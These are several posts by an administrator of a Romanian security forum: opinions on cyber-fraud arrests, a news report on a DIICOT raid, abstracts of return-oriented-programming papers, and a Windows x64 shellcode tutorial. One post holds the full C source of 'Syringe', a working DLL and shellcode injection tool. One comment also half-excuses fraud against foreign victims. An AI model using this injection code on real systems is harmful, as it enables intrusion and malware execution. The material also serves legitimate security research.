Jump to content

Nytro

Administrators
  • Posts

    18715
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. Desigur, Abramburica... :
  2. Nu ma intelege gresit, nu am nimic impotriva faptului ca vor sa isi faca un viitor. Sincer, si eu vreau sa isi faca un viitor, dar NU asa. In primul rand pentru ca asta nu e un viitor. Am cunoscut si cunosc persoane care se ocupa cu tot felul de prostii si am avut de mii de ori sansa sa ma implic in astfel de prostii, dar nu am facut-o din mai multe motive: 1. E vorba de bani, deci practic sunt multe legi impotriva lor, adica mari sanse sa ajuga la puscarie, deci ce fac ei nu e nici etic si nici legal 2. Ei nu stiu mare lucru despre calculatoare. Si nu zic ca sunt prosti, pentru ca nu sunt deloc, dar nu am intalnit nicio persoana care macar sa stie decent programare, pana si pagini de scam cu mail-ul ca <input type="hidden" /> am vazut, ceea ce NU e ok. 3. Nici macar limba engleza nu prea o cunosc, stiu ca mai ajutam eu anumite persoane cu traduceri in engleza Morala: "La munca, nu la intins mana"
  3. Da, pe de-o parte fac ceva (foarte) putin util, pe de alta parte tot niste hoti sunt si aduc prejudicii morale Romaniei, iar Romania ca tara are multe de pierdut. Da, practic nu vad cate dovezi ar putea sa aduca, dar tot mai gasesc ei cate ceva. Eu pur si simplu i-as intreba: "Prietene, de unde ai avut 30.000 de euro pentru un BMW cand tac-tu castiga 1500 RON pe luna si tu esti somer?". Apoi le verifica harddiskurile, citesc si conversatiile pe messenger pentru ca sunt sigur ca gasesc ceva asa si in cel mai rau caz fac si "reverse route" a drumului banilor.
  4. Daca tot sunteti de acord, inseama ca va putem bana conturile curente iar voi puteti face rost, voi stiti cum, de o "invitatie" pentru a va putea inregistra. Asa ar fi corect.
  5. Harddisk-uri mai mult sau mai putin criptate, fisiere sterse ce se pot recupera, poate chiar conversatii pe messenger legate de rahaturile pe care le faceau.
  6. Syringe - DLL & Code Injection Utility /* * * syringe.c v1.2 * * Author: Spencer McIntyre (Steiner) <smcintyre [at] securestate [dot] com> * * A General Purpose DLL & Code Injection Utility * * Copyright 2011 SecureState * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ #include <windows.h> #include <stdio.h> #include <tlhelp32.h> #define MAXLINE 512 #define CREATE_THREAD_ACCESS (PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ) #define REMOTE_ASSEMBLY_STUB_LENGTH_RELEASE 32 #define ATTACK_TYPE_DLL_INJECTION 1 #define ATTACK_TYPE_SHELL_CODE_INJECTION 2 #define ATTACK_TYPE_EXECUTE_SHELL_CODE 3 int InjectDLL(char *dll, int ProcessID); int InjectShellcode(char *data, int ProcessID); int ExecuteShellcode(char *data); DWORD WINAPI RemoteExecPayloadStub(LPVOID lpParameter); DWORD WINAPI LocalExecPayloadStub(LPVOID lpParameter); int main(int argc, char* argv[]) { char dllPath[MAXLINE] = ""; unsigned int pid = 0; unsigned int injResult; unsigned char attackType = 0; unsigned char numargs = 4; char *usageString = "Syringe v1.2\nA General Purpose DLL & Code Injection Utility\n\nUsage:\n\nInject DLL:\n\tsyringe.exe -1 [ dll ] [ pid ]\n\nInject Shellcode:\n\tsyringe.exe -2 [ shellcode ] [ pid ]\n\nExecute Shellcode:\n\tsyringe.exe -3 [ shellcode ]\n"; if (argc < 2) { printf("%s", usageString); return 0; } if (strncmp(argv[1], "-1", 2) == 0) { attackType = ATTACK_TYPE_DLL_INJECTION; } else if (strncmp(argv[1], "-2", 2) == 0) { attackType = ATTACK_TYPE_SHELL_CODE_INJECTION; } else if (strncmp(argv[1], "-3", 2) == 0) { attackType = ATTACK_TYPE_EXECUTE_SHELL_CODE; numargs = 3; } else { printf("%s", usageString); return 0; } if (argc != numargs) { printf("%s", usageString); return 0; } if ((attackType == ATTACK_TYPE_DLL_INJECTION) || (attackType == ATTACK_TYPE_SHELL_CODE_INJECTION)) { pid = atoi(argv[3]); if (!pid) { printf("Invalid Process ID.\n"); return 0; } if (attackType == ATTACK_TYPE_DLL_INJECTION) { GetFullPathNameA(argv[2], MAXLINE, dllPath, NULL); injResult = InjectDLL(dllPath, pid); } else if (attackType == ATTACK_TYPE_SHELL_CODE_INJECTION) { injResult = InjectShellcode(argv[2], pid); } if (injResult == 0) { printf("Successfully Injected.\n"); } else { printf("Failed To Inject. \nError: "); switch (injResult) { case 1: { printf("Invalid Process ID.\n"); break; } case 2: { printf("Could Not Open A Handle To The Process.\n"); break; } case 3: { printf("Could Not Get The Address Of LoadLibraryA.\n"); break; } case 4: { printf("Could Not Allocate Memory In Remote Process.\n"); break; } case 5: { printf("Could Not Write To Remote Process.\n"); break; } case 6: { printf("Could Not Start The Remote Thread.\n"); break; } } } } else if (attackType == ATTACK_TYPE_EXECUTE_SHELL_CODE) { ExecuteShellcode(argv[2]); } return 0; } int InjectDLL(char *dll, int ProcessID) { HANDLE Proc, RemoteThread; LPVOID RemoteStringPtr, LoadLibAddr; int writeProcError; if(!ProcessID) { return 1; } Proc = OpenProcess(CREATE_THREAD_ACCESS, FALSE, ProcessID); if(!Proc) { return 2; } LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); if (LoadLibAddr == NULL) { return 3; } RemoteStringPtr = (LPVOID)VirtualAllocEx(Proc, NULL, strlen(dll), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); if (RemoteStringPtr == NULL) { return 4; } writeProcError = WriteProcessMemory(Proc, (LPVOID)RemoteStringPtr, dll, strlen(dll), NULL); if (writeProcError == 0) { return 5; } RemoteThread = CreateRemoteThread(Proc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddr, (LPVOID)RemoteStringPtr, NULL, NULL); if (RemoteThread == NULL) { return 6; } CloseHandle(Proc); return 0; } int InjectShellcode(char *data, int ProcessID) { HANDLE Proc, RemoteThread; void *RemoteStringPtr; void *RemoteStubPtr; int writeProcError; unsigned long oldprot; // Step 1, get a handle to a process if(!ProcessID) { return 1; } Proc = OpenProcess(CREATE_THREAD_ACCESS, FALSE, ProcessID); if(!Proc) { return 2; } // Step 2, write the shellcode to the remote process RemoteStringPtr = VirtualAllocEx(Proc, NULL, (strlen(data) + 1), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (RemoteStringPtr == NULL) { return 4; } writeProcError = WriteProcessMemory(Proc, RemoteStringPtr, data, strlen(data), NULL); if (writeProcError == 0) { return 5; } // Step 3, write the assembly stub that will call the shellcode in the remote process RemoteStubPtr = VirtualAllocEx(Proc, NULL, REMOTE_ASSEMBLY_STUB_LENGTH_RELEASE, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (RemoteStubPtr == NULL) { return 4; } VirtualProtect(RemoteExecPayloadStub, REMOTE_ASSEMBLY_STUB_LENGTH_RELEASE, PAGE_EXECUTE_READWRITE, &oldprot); writeProcError = WriteProcessMemory(Proc, RemoteStubPtr, RemoteExecPayloadStub, REMOTE_ASSEMBLY_STUB_LENGTH_RELEASE, NULL); if (writeProcError == 0) { return 5; } // Step 4, start the assembly stub in via a call to CreateRemoteThread() RemoteThread = CreateRemoteThread(Proc, NULL, NULL, (LPTHREAD_START_ROUTINE)RemoteStubPtr, (LPVOID)RemoteStringPtr, NULL, NULL); if (RemoteThread == NULL) { return 6; } CloseHandle(Proc); // Step 5, Profit. return 0; } int ExecuteShellcode(char *data) { HANDLE LocalThread; int tid; void *StringPtr; StringPtr = VirtualAlloc(NULL, (strlen(data) + 1), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); strncpy(StringPtr, data, strlen(data)); LocalThread = CreateThread(NULL, 0, LocalExecPayloadStub, StringPtr, 0, &tid); printf("Waiting For Shellcode To Return... "); WaitForSingleObject(LocalThread, INFINITE); printf("Done.\n"); return 0; } DWORD WINAPI RemoteExecPayloadStub(LPVOID lpParameter) { __asm { mov eax, [lpParameter] call eax // Exit function is thread, don't mess this up push 0 call ExitThread } return 0; } DWORD WINAPI LocalExecPayloadStub(LPVOID lpParameter) { __try { __asm { mov eax, [lpParameter] call eax push 0 call ExitThread } } __except(EXCEPTION_EXECUTE_HANDLER) { } return 0; } Download: http://www.securestate.com/Documents/syringe.c
  7. Foarte interesant... pentru forumurile de Counter-Strike. Nu pentru RST.
  8. DIICOT, calare pe hackerii romani. Pechezitii in Sibiu, Cluj, Arad, Valcea si Bucuresti Written by securityportal.ro Tuesday, 22 November 2011 15:10 Mai multe perchezitii au loc, marti dimineata, in judetele Sibiu, Cluj, Arad, Valcea, precum si in Capitala, pentru destructurarea unei grupari specializate in fraude informatice, care a produs un prejudiciu estimat la 120.000 de euro. Potrivit procurorului-sef al DIICOT Sibiu, Danusia Boician, au loc perchezitii in judetele Sibiu, Cluj, Arad, Valcea, precum si in Capitala, fiind vizata o retea din care fac parte aproximativ 25 de persoane specializate in inselaciuni informatice, care isi racolau victimele dintre persoanele ce fac cumparaturi online. Scopul actiunii noastre a fost destramarea unui grup organizat constituit pentru savarsirea de fraude informatice. Modul de operare este deja clasic: licitatii fictive pe diferite site-uri de internet. Infractorii postau tot felul de bunuri la vanzare, bunuri pe care nu le detineau", a declarat Cristian Negru, cita de Mediafax. Conform sursei citate, suspectii, care au creat un prejudiciu estimat la 120.000 de euro, vor fi dusi pentru audieri la sediul DICOT Sibiu. Procurorii DIICOT Sibiu au stabilit ca 130 de cetateni straini au fost inselati de gruparea specializata in fraude informatice in cazul careia s-au facut perchezitii. Pana in prezent a fost stabilit un prejudiciu de 120.000 de euro, fiind vorba despre 130 de parti vatamate, toate din strainatate. Cristian Negru a precizat ca suspectii vindeau fictiv tot felul de produse, de la echipamente IT si telefoane mobile de ultima generatie pana la utilaje agricole si autoturisme. Infractorii trimiteau partilor vatamate doar imaginea unui produs si cereau fie un avans, fie toata suma inainte. In dosar sunt 24 de invinuiti, printre care si femei, audierile fiind in desfasurare, la ora transmiterii acestei stiri, la sediul DIICOT Sibiu. Potrivit sefului Serviciului de Combatere a Criminalitatii Informatice Alba Iulia, gruparea s-a constituit in 2011, prin fuzionarea a doua grupari mai vechi. "Liderii celor doua grupari au stabilit ca este mult mai rentabil sa lucreze impreuna, sa-si imprumute unii altora conturile bancare si sagetile controlate de ei. Au infiintat o societate comerciala si un site care avea ca obiect vanzarea de produse de curatenie si ofereau fictiv servicii de curatenie", a precizat Cristian Negru. Toti cei invinuiti au antecedente de fraude informatice, iar daca vor fi gasiti vinovati, risca o pedeapsa cu inchisoarea cuprinsa intre 10 si 20 de ani. Sursa: http://securityportal.ro/stiri/stiri-interne/819-diicot-calare-pe-hackerii-romani-pechezitii-in-sibiu-cluj-arad-valcea-si-bucuresti.html Parerile mele: 1. Felicitari DIICOT, sper sa scapam de toti "hackerii" acestia 2. Trist "securityportal" sa numeasca "hackeri" astfel de specimene, astfel de HOTI 3. Pe de-o parte le dau dreptate acestor "personaje", adica nu le fura portofelele, daca strainii sunt atat de ratati, merita sa pateasca asa ceva 4. Banii adusi in tara contribuie la economia tarii
  9. Packed, Printable, and Polymorphic Return-Oriented Programming Kangjie Lu, Dabi Zou, Weiping Wen, Debin Gao School of Information Systems, Singapore Management University, Singapore fkjlu, zoudabi, dbgaog@smu.edu.sg School of Software and Microelectronics, Peking University, China weipingwen@ss.pku.edu.cn Abstract. Return-oriented programming (ROP) is an attack that has been shown to be able to circumvent W X protection. However, it was not clear if ROP can be made as powerful as non-ROP malicious code in other aspects, e.g., be packed to make static analysis dicult, be print- able to evade non-ASCII ltering, be polymorphic to evade signature- based detection, etc. Research in these potential advances in ROP is im- portant in designing counter-measures. In this paper, we show that ROP code could be packed, printable, and polymorphic. We demonstrate this by proposing a packer that produces printable and polymorphic ROP code. It works on virtually any unpacked ROP code and produces packed code that is self-contained. We implement our packer and demonstrate that it works on both Windows XP and Windows 7 platforms. keywords: Return-oriented programming, packer, printable shellcode, polymorphic malware Download: http://flyer.sis.smu.edu.sg/raid11.pdf
  10. Security Mitigations for Return-Oriented Programming Attacks Piotr Bania Kryptos Logic Research www.kryptoslogic.com 2010 Abstract With the discovery of new exploit techniques, new protection mechanisms are needed as well. Mitigations like DEP (Data Execution Prevention) or ASLR (Address Space Layout Randomization) created a signi?cantly more di?cult environment for vulnerability exploitation. Attackers, however, have recently developed new exploitation methods which are capable of bypassing the operating system’s security protection mechanisms. In this paper we present a short summary of novel and known mitigation techniques against return-oriented programming (ROP) attacks. The techniques described in this article are related mostly to x86-32 processors and Microsoft Windows operating systems. Download: http://www.kryptoslogic.com/download/ROP_Whitepaper.pdf
  11. Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms Ralf Hund Thorsten Holz Felix C. Freiling Laboratory for Dependable Distributed Systems University of Mannheim, Germany hund@uni-mannheim.de, fholz,freilingg@informatik.uni-mannheim.de Abstract Protecting the kernel of an operating system against attacks, especially injection of malicious code, is an important factor for implementing secure operating systems. Several kernel integrity protection mechanism were proposed recently that all have a particular shortcoming: They cannot protect against attacks in which the attacker re-uses existing code within the kernel to perform malicious computations. In this paper, we present the design and implementation of a system that fully automates the process of constructing instruction sequences that can be used by an attacker for malicious computations. We evaluate the system on different commodity operating systems and show the portability and universality of our approach. Finally, we describe the implementation of a practical attack that can bypass existing kernel integrity protection mechanisms. Download: http://www.usenix.org/event/sec09/tech/full_papers/hund.pdf
  12. Windows x64 Shellcode January 11, 2011 Contents Introduction RIP-Relative Addressing API Lookup Overview API Lookup Demo The Code Building Testing Comments Mitigations Introduction Shellcode refers to a chunk of executable machine code (along with any associated data) which is executed after being injected into the memory of a process usually by means of a buffer-overflow type of security vulnerability. The term comes from the fact that in early exploits against Unix platforms, an attacker would typically execute code that would start a command shell listening on a TCP/IP port, to which the attacker could then connect and have full access to the system. For the common web-browser and application exploits on Windows today, the “shellcode” is more likely to download and execute another program than spawn a command shell, but the term remains. In general, shellcode can be thought of as any code that is capable of being executed from an arbitrary location in memory and without relying on services provided by the operating system loader as with traditional executables. Depending on the exploit, additional requirements for shellcode may include small size and avoiding certain byte patterns in the code. In any case, there are two tasks performed by the loader which shellcode must take care of itself: Getting the addresses of data elements (such as strings referenced by the code) Getting the addresses of system API functions used This article describes a shellcode implementation of the x64 assembly program from my Windows Assembly Languages article (refer to that article for general x64 assembly programming issues such as calling conventions and stack usage). As you’ll see, the main program code doesn’t look much different. Task #1 above actually turns out to be a non-issue on x64 platforms due to a new feature called RIP-relative addressing. Task #2 is what comprises the bulk of the effort. In fact, the code for looking up API functions is significantly larger and more complex than the main program itself. The only other difference between the vanilla and shellcode versions of x64 hello world is that the shellcode does not use a .data section, instead placing the strings in the .code section after main. This is because “sections” are a feature of the executable file format, whereas shellcode needs to be just a single block of code and data. RIP-Relative Addressing RIP refers to the instruction pointer register on x64, and RIP-relative addressing means that references to memory addresses being read or written can be encoded as offsets from the currently-executing instruction. This is not a completely new concept, as jmp and call instructions have always supported relative targets on x86, but the ability to read and write memory using relative addressing is new with x64. On x86, the labels referring to data variables would be replaced with actual hard-coded memory addresses when the program was assembled and linked, under the assumption that the program would be loaded at a specific base address. If at runtime the program needed to load at a different base address, the loader would perform relocation by updating all of those hard-coded addresses. Because shellcode needed to run from anywhere in memory, it needed to determine these addresses dynamically and typically used a trick where the call instruction would push the address just past itself onto the stack as the return address. This “return address” could then be popped off the stack to get a pointer to the string at runtime: call skip db ‘Hello world’, 0 skip: pop esi ;esi now points to ‘Hello world’ string On x64 we do not need this trick. RIP-relative addressing is not only supported but is in fact the default, so we can simply refer to strings using labels as with ordinary code and it Just Works API Lookup Overview Even the most trivial programs generally need to call various operating system API functions to perform some of type of input/output (I/O) – displaying things to the user, accessing files, making network connections, etc. On Windows these API functions are implemented in various system DLLs, and in standard application development these API functions can simply be referred to by name. When the program is compiled and linked, the linker puts information in the resulting executable indicating which functions from which DLLs are required. When the program is run, the loader ensures that the necessary DLLs are loaded and that the addresses of the called functions are resolved. Windows also provides another facility that can be used by applications to load additional DLLs and look up functions on demand: the LoadLibrary() and GetProcAddress() APIs in kernel32.dll. Not having the benefit of the loader, shellcode needs to use LoadLibrary() and GetProcAddress() for all API functions it uses. This unfortunately presents a Catch-22: How does the shellcode get the addresses of LoadLibrary() and GetProcAddress()? It turns out that an equivalent to GetProcAddress() can be implemented by traversing the data structures of a loaded DLL in memory. Also, kernel32.dll is always loaded in the address space of every process on Windows, so LoadLibrary() can be found there and used to load other DLLs. Developing shellcode using this technique requires a solid understanding of the Portable Executable (PE) file format used on Windows for EXE and DLL files, and the next section of this article assumes some familiarity. The following references and tools may be helpful: Matt Pietrek’s An In-Depth Look into the Win32 Portable Executable File Format: part1 and part2. Note that this only covers 32-bit and not 64-bit PE files, but the differences are very minor – mostly just widening some memory address fields to 64 bits The offical Microsoft Portable Executable and Common Object File Format Specification Daniel Pistelli’s CFF Explorer is a nice GUI tool for viewing and editing PE files, with 64-bit support The dumpbin utility included with Visual C++ (including Express Edition) – the most useful switches for our purposes are /headers and /exports Many of the PE data structures are documented in MSDN under ImageHlp Structures Definitions of the data structures can be found in winnt.h in the Include directory of the Windows SDK The dt command in WinDbg is able to display many of these structures API Lookup Demo This demonstration of how to find the address of a function in a loaded DLL can be followed by attaching WinDbg to any 64-bit process (I’m using notepad.exe). Note that the particular values seen here may be different on your system. First we’ll get the address of the Thread Environment Block (TEB), sometimes also referred to as the Thread Information Block (TIB). The TEB contains a large number of fields pertaining to the current thread, and on x64 the fields can be accessed as offsets from the GS segment register during program execution (the FS register was used on x86). In WinDbg, the pseudo register $teb contains the address of the TEB. 0:001> r $teb $teb=000007fffffdb000 0:001> dt _TEB @$teb ntdll!_TEB +0x000 NtTib : _NT_TIB +0x038 EnvironmentPointer : (null) +0x040 ClientId : _CLIENT_ID +0x050 ActiveRpcHandle : (null) +0x058 ThreadLocalStoragePointer : (null) +0x060 ProcessEnvironmentBlock : 0x000007ff`fffdd000 _PEB +0x068 LastErrorValue : 0 [...] The only field from the TEB we are interested in is the pointer to the Process Environment Block (PEB). Note that WinDbg also has a $peb pseudo-register, but in the shellcode implementation we will have to use the GS register to go through the TEB first. 0:001> dt _PEB 7ff`fffdd000 ntdll!_PEB +0x000 InheritedAddressSpace : 0 '' +0x001 ReadImageFileExecOptions : 0 '' +0x002 BeingDebugged : 0x1 '' +0x003 BitField : 0x8 '' +0x003 ImageUsesLargePages : 0y0 +0x003 IsProtectedProcess : 0y0 +0x003 IsLegacyProcess : 0y0 +0x003 IsImageDynamicallyRelocated : 0y1 +0x003 SkipPatchingUser32Forwarders : 0y0 +0x003 SpareBits : 0y000 +0x008 Mutant : 0xffffffff`ffffffff Void +0x010 ImageBaseAddress : 0x00000000`ff8b0000 Void +0x018 Ldr : 0x00000000`779a3640 _PEB_LDR_DATA [...] The PEB contains numerous fields with process-specific data and we are interested in the Ldr field at offset 0x18 which points to a structure of type PEB_LDR_DATA. 0:001> dt _PEB_LDR_DATA 779a3640 ntdll!_PEB_LDR_DATA +0x000 Length : 0x58 +0x004 Initialized : 0x1 '' +0x008 SsHandle : (null) +0x010 InLoadOrderModuleList: _LIST_ENTRY [ 0x00000000`00373040 - 0x39a3b0 ] +0x020 InMemoryOrderModuleList: _LIST_ENTRY [ 0x00000000`00373050 - 0x39a3c0 ] +0x030 InInitializationOrderModuleList: _LIST_ENTRY [ 0x00000000`00373150 - 0x39a3d0 ] +0x040 EntryInProgress : (null) +0x048 ShutdownInProgress : 0 '' +0x050 ShutdownThreadId : (null) The PEB_LDR_DATA structure contains three linked lists of loaded modules – InLoadOrderModuleList, InMemoryOrderModuleList, and InInitializationOrderModuleList. A module or image refers to any PE file in memory – the main program executable as well as any currently-loaded DLLs. All three lists contain the same elements just in a different order, with the one exception that InInitializationOrderModuleList only contains DLLs and excludes the main executable. The elements of these lists are of type LDR_DATA_TABLE_ENTRY, though you can’t tell from the previous output because they are only shown as LIST_ENTRY which is the generic linked list header datatype used throughout Windows. A LIST_ENTRY simply consists of a forward and back pointer for creating circular, doubly-linked lists. The address of the _LIST_ENTRY within the _PEB_LDR_DATA structure represents the list head. When traversing the circular list, arriving back at the list head is the way to know when complete. 0:001> dt _LIST_ENTRY ntdll!_LIST_ENTRY +0x000 Flink : Ptr64 _LIST_ENTRY +0x008 Blink : Ptr64 _LIST_ENTRY The !list command provides the ability to traverse these types of lists and execute a specific command for each element in the list (in this case displaying the element as an LDR_DATA_TABLE_ENTRY data structure). WinDbg commands can get nasty-looking sometimes but are quite powerful. Here we display the InLoadOrderModuleList with list head at offset 0x10 from the beginning of the PEB_LDR_DATA structure (very long output truncated to show just part of one element): 0:001> !list -t ntdll!_LIST_ENTRY.Flink -x "dt _LDR_DATA_TABLE_ENTRY @$extret" 779a3640+10 [...] ntdll!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000000`00333620 - 0x333130 ] +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000000`00333630 - 0x333140 ] +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000`003344e0 - 0x333640 ] +0x030 DllBase : 0x00000000`77650000 Void +0x038 EntryPoint : 0x00000000`7766eff0 Void +0x040 SizeOfImage : 0x11f000 +0x048 FullDllName : _UNICODE_STRING "C:\Windows\system32\kernel32.dll" +0x058 BaseDllName : _UNICODE_STRING "kernel32.dll" +0x068 Flags : 0x84004 [...] Interesting fields for us within an LDR_DATA_TABLE_ENTRY structure are DllBase at 0x30 and BaseDllName at 0x58. Note that BaseDllName is a UNICODE_STRING, which is an actual data structure and not simply a null-terminated Unicode string. The actual string data can be found at offset 0x8 in the structure, for a total of 0x60 from BaseDllName. 0:001> dt _UNICODE_STRING ntdll!_UNICODE_STRING +0x000 Length : Uint2B +0x002 MaximumLength : Uint2B +0x008 Buffer : Ptr64 Uint2B Armed with this knowledge, we now have the ability to obtain the base address of any DLL given it’s name. Once we have the base address we can traverse the DLL in memory to locate any function exported by the DLL. Also note that the return value of LoadLibrary() is in fact a DLL base address. The base address of a loaded DLL can also be obtained in WinDbg with the lm command. Let’s take a look at kernel32.dll: 0:001> lm m kernel32 start end module name 00000000`77650000 00000000`7776f000 kernel32 (deferred) An interesting feature of the PE file and loader is that the PE file format in memory is exactly the same as it is on disk, at least as far as the headers. It’s not exactly true that the entire file is read verbatim into memory, because each section is loaded at a certain byte alignment in memory (typically a multiple of 4096, the virtual memory page size) that may be different from where it falls in the file. Also, some sections (like a debug data section) may not be read into memory at all. However, when we look at the DLL base address in memory, we can expect to find what we see at the beginning of any PE file: a DOS “MZ” header. That’s an IMAGE_DOS_HEADER structure to be exact: 0:001> dt _IMAGE_DOS_HEADER 77650000 ntdll!_IMAGE_DOS_HEADER +0x000 e_magic : 0x5a4d +0x002 e_cblp : 0x90 +0x004 e_cp : 3 +0x006 e_crlc : 0 +0x008 e_cparhdr : 4 +0x00a e_minalloc : 0 +0x00c e_maxalloc : 0xffff +0x00e e_ss : 0 +0x010 e_sp : 0xb8 +0x012 e_csum : 0 +0x014 e_ip : 0 +0x016 e_cs : 0 +0x018 e_lfarlc : 0x40 +0x01a e_ovno : 0 +0x01c e_res : [4] 0 +0x024 e_oemid : 0 +0x026 e_oeminfo : 0 +0x028 e_res2 : [10] 0 +0x03c e_lfanew : 0n224 The e_lfanew field at 0x3c (which for some reason is displayed as a decimal number even though everything else is hex) contains the byte offset to the NT header (IMAGE_NT_HEADERS64). Converting 224 to hex 0xe0 and adding to the image base will point to the NT header at 0x776500e0. We can use the –r option (recursive) to expand the embedded OptionalHeader field (which is a misnomer as it is required and always present): 0:001> dt -r _IMAGE_NT_HEADERS64 776500e0 ntdll!_IMAGE_NT_HEADERS64 +0x000 Signature : 0x4550 +0x004 FileHeader : _IMAGE_FILE_HEADER +0x000 Machine : 0x8664 +0x002 NumberOfSections : 6 +0x004 TimeDateStamp : 0x4a5bdfdf +0x008 PointerToSymbolTable : 0 +0x00c NumberOfSymbols : 0 +0x010 SizeOfOptionalHeader : 0xf0 +0x012 Characteristics : 0x2022 +0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER64 +0x000 Magic : 0x20b +0x002 MajorLinkerVersion : 0x9 '' +0x003 MinorLinkerVersion : 0 '' [...] +0x068 LoaderFlags : 0 +0x06c NumberOfRvaAndSizes : 0x10 +0x070 DataDirectory : [16] _IMAGE_DATA_DIRECTORY [...] The DataDirectory field is located a total of 0x88 bytes from the NT headers (offset 0x70 from OptionalHeader which is 0x18 from the NT headers). This is an array of 16 elements corresponding to the various types of data in a PE file. 0:001> dt -a16c _IMAGE_DATA_DIRECTORY 776500e0+88 ntdll!_IMAGE_DATA_DIRECTORY [0] @ 0000000077650168 +0x000 VirtualAddress 0xa0020 +0x004 Size 0xac33 [1] @ 0000000077650170 +0x000 VirtualAddress 0xf848c +0x004 Size 0x1f4 [2] @ 0000000077650178 +0x000 VirtualAddress 0x116000 +0x004 Size 0x520 [3] @ 0000000077650180 +0x000 VirtualAddress 0x10c000 +0x004 Size 0x9810 [4] @ 0000000077650188 +0x000 VirtualAddress 0 +0x004 Size 0 [5] @ 0000000077650190 +0x000 VirtualAddress 0x117000 +0x004 Size 0x7a9c [6] @ 0000000077650198 +0x000 VirtualAddress 0x9b7dc +0x004 Size 0x38 [7] @ 00000000776501a0 +0x000 VirtualAddress 0 +0x004 Size 0 [8] @ 00000000776501a8 +0x000 VirtualAddress 0 +0x004 Size 0 [9] @ 00000000776501b0 +0x000 VirtualAddress 0 +0x004 Size 0 [10] @ 00000000776501b8 +0x000 VirtualAddress 0 +0x004 Size 0 [11] @ 00000000776501c0 +0x000 VirtualAddress 0x2d8 +0x004 Size 0x408 [12] @ 00000000776501c8 +0x000 VirtualAddress 0x9c000 +0x004 Size 0x1c70 [13] @ 00000000776501d0 +0x000 VirtualAddress 0 +0x004 Size 0 [14] @ 00000000776501d8 +0x000 VirtualAddress 0 +0x004 Size 0 [15] @ 00000000776501e0 +0x000 VirtualAddress 0 +0x004 Size 0 We are interested in the Export Directory which is the first one in the list having VirtualAddress 0xa0020 and Size 0xac33. See the MSDN documentation of the IMAGE_DATA_DIRECTORY structure for a reference on which type of data goes with each array element. A virtual address, also called a Relative Virtual Address (RVA) is an offset from the base load address of the module. RVAs are used extensively in PE files, including for the pointers to the function names and function addresses in the export table. To get the actual memory address pointed to by an RVA, simply add the base address of the module. (For convenience, note that the !dh command can be used to automatically display much of the PE header information we’ve extracted manually so far.) Given that the Export Directory begins at RVA 0xa0020, we add the base address 0x77650000 and should therefore expect to find an IMAGE_EXPORT_DIRECTORY structure at 0x776f0020. Unfortunately IMAGE_EXPORT_DIRECTORY is not understood by the dt command or documented in MSDN, so we will have to refer to the structure definition in winnt.h: typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; DWORD TimeDateStamp; WORD MajorVersion; WORD MinorVersion; DWORD Name; DWORD Base; DWORD NumberOfFunctions; DWORD NumberOfNames; DWORD AddressOfFunctions; // RVA from base of image DWORD AddressOfNames; // RVA from base of image DWORD AddressOfNameOrdinals; // RVA from base of image } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; The best we can do in WinDbg is display the structure as an array of DWORDs and count where things fall using the above structure as a reference. 0:001> dd 776f0020 00000000`776f0020 00000000 4a5bc32c 00000000 000a366c 00000000`776f0030 00000001 0000056a 0000056a 000a0048 00000000`776f0040 000a15f0 000a2b98 000aa10b 000aa12c [...] Beginning with the 8th DWORD within the structure we will find AddressOfFunctions (0xa0048), followed by AddressOfNames (0xa15f0) and AddressOfNameOrdinals (0xa2b98). These values are RVAs – when we add the DLL base address we will get the memory address of the array. When working with RVAs a lot it can be handy to stash the DLL base address in a pseudo-register because it will be used so frequently. Here is AddressOfNames: 0:001> r $t0=77650000 0:001> dd @$t0+a15f0 00000000`776f15f0 000a3679 000a3691 000a36a6 000a36b5 00000000`776f1600 000a36be 000a36c7 000a36d8 000a36e9 00000000`776f1610 000a370f 000a372e 000a374d 000a375a [...] This is an array of RVAs pointing to the function name strings (the size of the array is given by the NumberOfNames field in IMAGE_EXPORT_DIRECTORY). Take a look at the first one (adding DLL base address of course) and we see the name of a function exported from kernel32.dll. 0:001> da @$t0+a3679 00000000`776f3679 "AcquireSRWLockExclusive" We can ultimately find the address of a function based on the array index of where the name is found in this array. The AddressOfNameOrdinals array is a parallel array to AddressOfNames, which contains the ordinal values associated with each name. An ordinal value is the index which is finally used to look up the function address in the AddressOfFunctions array. (DLLs have the option of exporting functions by ordinal only without even having a function name, and in fact the GetProcAddress() API can be called with a numeric ordinal instead of a string name). More often than not, the value in each slot of the AddressOfNameOrdinals array has the same value as its array index but this is not guaranteed. Note that AddressOfNameOrdinals is an array of WORDs, not DWORDs. In this case it appears to follow the pattern of each element having the same value as its index. 0:001> dw @$t0+a2b98 00000000`776f2b98 0000 0001 0002 0003 0004 0005 0006 0007 00000000`776f2ba8 0008 0009 000a 000b 000c 000d 000e 000f 00000000`776f2bb8 0010 0011 0012 0013 0014 0015 0016 0017 [...] Once we have the ordinal number of a function, the ordinal is used as an index into the AddressOfFunctions array: 0:001> dd @$t0+a0048 00000000`776f0048 000aa10b 000aa12c 000044b0 00066b20 00000000`776f0058 00066ac0 0006ad90 0006ae00 0004b7d0 00000000`776f0068 000956e0 0008fbb0 00048cc0 0004b800 